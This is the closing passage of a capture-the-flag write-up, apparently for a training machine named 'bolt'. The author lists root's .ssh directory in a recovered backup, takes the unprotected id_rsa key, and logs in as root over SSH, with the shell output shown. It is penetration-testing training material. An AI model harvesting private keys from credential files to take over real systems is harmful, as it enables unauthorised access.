But we also found a SSH private key without password that allow us to connect as root on the box!
bolt@bolt:/tmp/ioio2$ ls rest/root/.
./ ../ .bash_history .bashrc .cache/ .config/ .gnupg/ .local/ .profile .selected_editor .ssh/ .wget-hsts
bolt@bolt:/tmp/ioio2$ ls rest/root/.ssh/
authorized_keys id_rsa id_rsa.pub
bolt@bolt:/tmp/ioio2$ ls rest/root/.ssh/
authorized_keys id_rsa id_rsa.pub
Once copied on our local machine.
ssh root@10.10.10.159 -i ./id_rsa_root
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Thu Dec 5 18:51:02 UTC 2019
System load: 0.08 Users logged in: 1
Usage of /: 5.6% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 42% IP address for br-1bad9bd75d17: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 170
Last login: Mon Oct 21 09:53:48 2019
root@bolt:~#
Wrapping up
What a journey! This box was very interesting I learn a lot about Docker registry in the user part. The root part was quit harder but also interesting. The backup database was quit a rabbit hole for me. But once connected as admin on the bolt CMS things get chained up pretty quick. Many thanks to thek for this awesome box!